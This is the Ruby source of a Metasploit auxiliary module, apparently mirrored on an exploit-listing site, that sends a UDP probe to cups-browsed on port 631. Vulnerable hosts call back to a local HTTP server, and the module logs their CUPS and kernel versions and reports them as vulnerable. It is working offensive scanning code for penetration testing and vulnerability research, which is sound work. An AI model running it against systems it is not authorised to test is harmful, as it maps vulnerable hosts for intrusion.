Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-MISC-CUPS_BROWSED_INFO_DISCLOSURE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
include Msf::Exploit::Remote::HttpServer
def initialize
super(
'Name' => 'cups-browsed Information Disclosure',
'Description' => %q{
Retrieve CUPS version and kernel version information from cups-browsed services.
},
'Author' => [
'evilsocket', # discovery
'bcoles' # msf
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8' ],
['URL', 'https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/' ],
],
'DefaultOptions' => { 'RPORT' => 631 },
)
deregister_options('URIPATH')
end
def build_probe
@probe ||= "0 3 #{get_uri}"
@probe
end
def run
start_service('Path' => "/printers/#{Rex::Text.rand_text_alphanumeric(10..16)}")
super
end
def on_request_uri(cli, request)
return if request.nil?
info = request['User-Agent']
return unless info.to_s.include?('CUPS')
print_good("#{cli.peerhost}: #{info}")
report_host(host: cli.peerhost)
report_service(
host: cli.peerhost,
proto: 'udp',
port: rport,
name: 'cups-browsed',
info: info
)
report_vuln({
host: cli.peerhost,
port: rport,
proto: 'udp',
name: 'cups-browsed Information Disclosure',
refs: references
})
end
end